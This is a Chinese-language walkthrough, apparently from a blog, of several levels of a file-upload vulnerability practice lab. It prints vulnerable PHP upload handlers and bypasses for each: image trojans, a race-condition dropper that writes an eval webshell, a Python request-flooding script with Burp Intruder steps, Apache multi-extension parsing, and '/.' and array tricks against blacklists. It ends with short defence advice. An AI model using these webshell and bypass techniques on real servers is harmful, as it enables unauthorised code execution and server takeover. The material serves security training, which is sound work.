    // 如果不是图像类型,显示错误消息
    if(!$res){
        $msg = "文件未知,上传失败!";
    } else {
        // 构建上传目标路径,包含随机数、日期和图像文件扩展名
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;

        // 尝试将上传的文件移动到指定目标
        if(move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;  // 上传成功,设置标志为 true
        } else {
            $msg = "上传出错!";  // 如果移动操作失败,则显示错误消息
        }
    }
}
?>

代码通过 getimagesize() 获取上传文件信息。

利用图片马绕过检测

getimagesize() 用于获取图像大小及相关信息,成功则返回一个数组

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
// 定义函数用于检测文件是否为图像类型
function isImage($filename){
    // 使用 exif_imagetype 函数获取图像类型
    $image_type = exif_imagetype($filename);

    // 根据图像类型返回对应的图像文件扩展名
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;  // 如果不是支持的图像类型,返回 false
            break;
    }
}

$is_upload = false;
$msg = null;

// 检查是否提交了表单
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    // 调用 isImage 函数检测文件是否为图像类型
    $res = isImage($temp_file);

    // 如果不是图像类型,显示错误消息
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        // 构建上传目标路径,包含随机数、日期和图像文件扩展名
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;

        // 尝试将上传的文件移动到指定目标
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;  // 上传成功,设置标志为 true
        } else {
            $msg = "上传出错!";  // 如果移动操作失败,则显示错误消息
        }
    }
}
?>

代码利用 php 内置函数exif_imagetype()读取一个图像的第一个字节并检查其后缀名(需要开启 php_exif 模块)

利用图片马绕过检测

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
$is_upload = false;
$msg = null;

// 检查是否提交了表单
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path = UPLOAD_PATH.'/'.basename($filename);  // 构建上传目标路径

    // 获得上传文件的扩展名
    $fileext = substr(strrchr($filename, "."), 1);

    // 判断文件后缀与类型,合法才进行上传操作
    if (($fileext == "jpg") && ($filetype == "image/jpeg")) {
        // 尝试移动上传的文件到指定目标
        if (move_uploaded_file($tmpname, $target_path)) {
            // 使用上传的图片生成新的图片
            $im = imagecreatefromjpeg($target_path);

            // 检查是否成功创建图像资源
            if ($im == false) {
                $msg = "该文件不是jpg格式的图片!";
                @unlink($target_path);  // 删除上传的非法文件
            } else {
                // 给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()) . ".jpg";
                // 显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH . '/' . $newfilename;
                imagejpeg($im, $img_path);
                @unlink($target_path);  // 删除原始上传文件
                $is_upload = true;  // 上传成功,设置标志为 true
            }
        } else {
            $msg = "上传出错!";
        }
    } else if (($fileext == "png") && ($filetype == "image/png")) {
        // 与上述处理方式类似,处理 png 格式的图片
        // 略...
    } else if (($fileext == "gif") && ($filetype == "image/gif")) {
        // 与上述处理方式类似,处理 gif 格式的图片
        // 略...
    } else {
        $msg = "只允许上传后缀为.jpg|.png|.gif的图片文件!";
    }
}
?>

代码对上传图片判断后缀名content-type,以及利用imagecreatefromgif判断是否为gif图片,最后再做了一次二次渲染

解决方法:将木马放在不会被二次渲染清除的地方,这个位置需要去不断尝试。推荐用别人做好的图片马:

https://wwe.lanzoui.com/iFSwwn53jaf

https://pic.imgdb.cn/item/65638463c458853aef401a74.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
$is_upload = false;
$msg = null;

if(isset($_POST['submit'])){
    $ext_arr = array('jpg', 'png', 'gif');  // 允许的文件扩展名数组
    $file_name = $_FILES['upload_file']['name'];  // 获取上传文件的原始文件名
    $temp_file = $_FILES['upload_file']['tmp_name'];  // 获取上传文件的临时文件路径
    $file_ext = substr($file_name, strrpos($file_name, ".") + 1);  // 获取上传文件的扩展名
    $upload_file = UPLOAD_PATH . '/' . $file_name;  // 构建上传目标文件路径

    // 尝试移动上传的文件到指定目标
    if(move_uploaded_file($temp_file, $upload_file)){
        // 检查文件扩展名是否在允许的范围内
        if(in_array($file_ext, $ext_arr)){
            $img_path = UPLOAD_PATH . '/' . rand(10, 99) . date("YmdHis") . "." . $file_ext;  // 构建新的文件路径
            rename($upload_file, $img_path);  // 重命名上传的文件为新的文件路径
            $is_upload = true;  // 上传成功,设置标志为 true
        } else {
            $msg = "只允许上传.jpg|.png|.gif类型文件!";
            unlink($upload_file);  // 删除上传的不允许类型的文件
        }
    } else {
        $msg = '上传出错!';  // 移动文件失败,显示错误消息
    }
}
?>

代码先将上传的 文件保存在服务器的临时路径里,再通过检查来判断是否转移到正式路径

从保存到临时路径到未通过检测、删除文件之间有个短暂的时间差,在此之前的文件是存在服务器上的,所以可以不断上传一个可以在生成 webshell 的文件,同时不断去访问这个文件,总有几率在文件未被删除时访问到文件,激活代码,产生一个 webshell

文件内容为:

1
2
3
<?php
fputs(fopen('webshell.php','w'),'<?php @eval($_POST["wtlr"]) ?>');
?>

重复发包的方法:

将抓到的包转到 Intruder 模块:

线程随便设置一下:

最后点击**“Start attack”**就可以不断发包了。

重复访问url的脚本:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import requests
import time
import concurrent.futures

def visit_website(url, request_number):
    try:
        with requests.Session() as session:
            response = session.get(url)
            if response.status_code == 200:
                print(f"Request {request_number} - Status code: {response.status_code}")
            else:
                print(f"Request {request_number} - Error: {response.status_code}")
    except requests.exceptions.RequestException as e:
        print(f"Request {request_number} - An error occurred:", str(e))

# 用户输入要访问的网站地址、请求数量和延迟时间
url = input("请输入要访问的网站地址(包括协议):")
num_requests = int(input("请输入请求数量:"))
delay = float(input("请输入每次请求的延迟时间(以秒为单位):"))

# 创建线程池
with concurrent.futures.ThreadPoolExecutor() as executor:
    # 提交任务到线程池
    future_to_url = {executor.submit(visit_website, url, i+1): i+1 for i in range(num_requests)}
    
    # 获取任务结果
    for future in concurrent.futures.as_completed(future_to_url):
        try:
            future.result()
        except Exception as e:
            print("An error occurred:", str(e))
        
        # 控制请求间隔
        time.sleep(delay)

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
// index.php

$is_upload = false; // 初始化上传标志为false
$msg = null; // 初始化上传状态消息为null

if (isset($_POST['submit'])) {
    require_once("./myupload.php"); // 引入上传类文件

    $imgFileName = time(); // 生成基于时间的文件名
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'], $imgFileName); // 创建MyUpload类的实例

    $status_code = $u->upload(UPLOAD_PATH); // 调用上传方法

    // 根据上传状态码处理不同情况
    switch ($status_code) {
        case 1:
            $is_upload = true;
            $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
            break;
        case 2:
            $msg = '文件已上传但未重命名。';
            break;
        case -1:
            $msg = '此文件无法上传到服务器的临时文件存储目录。';
            break;
        case -2:
            $msg = '上传失败,上传目录不可写。';
            break;
        case -3:
            $msg = '上传失败,无法上传此类型的文件。';
            break;
        case -4:
            $msg = '上传失败,上传的文件太大。';
            break;
        case -5:
            $msg = '上传失败,服务器上已存在同名文件。';
            break;
        case -6:
            $msg = '文件无法上传,无法复制到目标目录。';
            break;
        default:
            $msg = '未知错误!';
            break;
    }
}

// myupload.php

// MyUpload类定义了一个文件上传类
class MyUpload {
    // ... 
	var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
    /** upload()
    **
    ** 上传文件的方法。
    ** 这是类外部唯一调用的方法。
    ** @para 要上传到的目录的名称
    ** @returns void
    **/
    function upload($dir)
    {
        $ret = $this->isUploadedFile();

        if ($ret != 1) {
            return $this->resultUpload($ret);
        }

        $ret = $this->setDir($dir);
        if ($ret != 1) {
            return $this->resultUpload($ret);
        }

        $ret = $this->checkExtension();
        if ($ret != 1) {
            return $this->resultUpload($ret);
        }

        $ret = $this->checkSize();
        if ($ret != 1) {
            return $this->resultUpload($ret);
        }

        // 如果设置文件存在标志为1
        if ($this->cls_file_exists == 1) {

            $ret = $this->checkFileExists();
            if ($ret != 1) {
                return $this->resultUpload($ret);
            }
        }

        // 如果能运行到这里,就准备将文件移动到目标位置
        $ret = $this->move();
        if ($ret != 1) {
            return $this->resultUpload($ret);
        }

        // 检查是否需要重命名文件
        if ($this->cls_rename_file == 1) {
            $ret = $this->renameFile();
            if ($ret != 1) {
                return $this->resultUpload($ret);
            }
        }

        // 如果运行到这里,一切都按计划进行 :)
        return $this->resultUpload("成功");
    }

    // ... 
}

这关的源码有个错误,打开 19 关的 myupload.php 在此处将 $dir 修改为 $dir.'/'

https://pic.imgdb.cn/item/6564506ac458853aefe5c718.jpg

  • 图片马
  • 条件竞争
  • Apache 解析漏洞

这题的预期解法应该是利用 Apache 解析漏洞

Apache解析漏洞:如果重复发包上传文件shell.php.7z,有几率导致某次服务器无法对上传过来的文件成功重命名,就导致webshell.php.7z未被重命名被传到服务器里。Apache 解析漏洞会将shell.php.*都当作shell.php执行

  • 漏洞版本:使用 module 模式与 php 结合的所有版本 apache 存在未知扩展名解析漏洞,使用 fastcig 模式与 php 结合的所有版本 apache 不存在此漏洞
  • 漏洞原理:Apache 在遇到多个后缀的文件时,尝试从后往前解析,直到解析到可解析的为止
    • test.php.xxx 按照 php 解析
    • test.php.xxx.jpg 按照 php 解析

具体步骤:

将上传 shell.php.7z 的数据包发到 Intruder 模块:

https://pic.imgdb.cn/item/65642a94c458853aef6f30c8.jpg

如图设置,最后点击 Start attack :

https://pic.imgdb.cn/item/65642b09c458853aef70916c.jpg

可以看到上传目录出现了来不及被重命名的 shell.php.7z :

https://pic.imgdb.cn/item/65642b7dc458853aef71f77b.jpg

https://pic.imgdb.cn/item/65642badc458853aef7291a1.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
$is_upload = false;
$msg = null;

if (isset($_POST['submit'])) { // 检查是否有表单提交
    if (file_exists(UPLOAD_PATH)) { // 检查上传目录是否存在
        $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

        $file_name = $_POST['save_name']; // 从表单获取保存的文件名
        $file_ext = pathinfo($file_name, PATHINFO_EXTENSION); // 获取文件名的扩展名

        if (!in_array($file_ext, $deny_ext)) { // 检查文件扩展名是否被禁止
            $temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传的临时文件路径
            $img_path = UPLOAD_PATH . '/' . $file_name; // 设置上传后的文件路径

            if (move_uploaded_file($temp_file, $img_path)) { // 尝试移动上传的文件到目标路径
                $is_upload = true; // 设置上传标志为true
            } else {
                $msg = '上传出错!'; // 设置上传错误消息
            }
        } else {
            $msg = '禁止保存为该类型文件!'; // 设置禁止保存该类型文件的消息
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!'; // 设置上传目录不存在的消息
    }
}

代码通过move_uploaded_file()将上传的文件移动到新位置

move_uploaded_file()的特性:移动的时候会忽略掉文件末尾的 /.

php/.可以绕过黑名单

所以可以上传后门,命名为upload-19.php/.

https://pic.imgdb.cn/item/65638683c458853aef44ca17.jpg

https://pic.imgdb.cn/item/65638694c458853aef44ecb6.jpg

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
$is_upload = false; 
$msg = null; 

if (!empty($_FILES['upload_file'])) { // 检查是否有上传文件
    // 检查MIME类型
    $allow_type = array('image/jpeg', 'image/png', 'image/gif');
    if (!in_array($_FILES['upload_file']['type'], $allow_type)) { // 检查文件的MIME类型是否在允许的列表中
        $msg = "禁止上传该类型文件!"; // 设置MIME类型不允许的消息
    } else {
        // 检查文件名
        $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name']; // 获取文件名,如果未提供,则使用上传文件的原始名称
        if (!is_array($file)) { $file = explode('.', strtolower($file)); } // 将文件名转换为小写并分割为数组

        $ext = end($file); // 获取文件的后缀
        $allow_suffix = array('jpg', 'png', 'gif'); // 设置允许的文件后缀列表
        if (!in_array($ext, $allow_suffix)) { // 检查文件的后缀是否在允许的列表中
            $msg = "禁止上传该后缀文件!"; // 设置后缀不允许的消息
        } else {
            $file_name = reset($file) . '.' . $file[count($file) - 1]; // 构建上传后的文件名
            $temp_file = $_FILES['upload_file']['tmp_name']; // 获取上传的临时文件路径
            $img_path = UPLOAD_PATH . '/' . $file_name; // 设置上传后的文件路径

            if (move_uploaded_file($temp_file, $img_path)) { // 尝试移动上传的文件到目标路径
                $msg = "文件上传成功!"; // 设置上传成功消息
                $is_upload = true; // 设置上传标志为true
            } else {
                $msg = "文件上传失败!"; // 设置上传失败消息
            }
        }
    }
} else {
    $msg = "请选择要上传的文件!"; // 设置未选择文件的消息
}

验证过程:

  1. 验证上传路径是否存在
  2. 验证['upload_file']的 content-type 是否合法(可以抓包修改)
  3. 判断 POST 参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
  4. 判断 file 不是数组则使用explode('.', strtolower($file))对 file 进行切割,将file变为一个数组
  5. 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名 file_name
  6. 上传文件

绕过:

将要保存的文件名变成一个空间为 3 的数组,第 2 个值 ([1]) 留空

这样子就会把upload-20.php/.与拼接

最后就是upload-20.php/.

move_uploaded_file()移动文件的时候会忽略/.

https://pic.imgdb.cn/item/64cb733f1ddac507ccd84457.jpg

文件上传漏洞防御

文件上传后存储目录不给执行权限

把上传的文件数据编码后存储,固定方式解析

将文件保存在另外一台服务器上

将文件保存在OSS上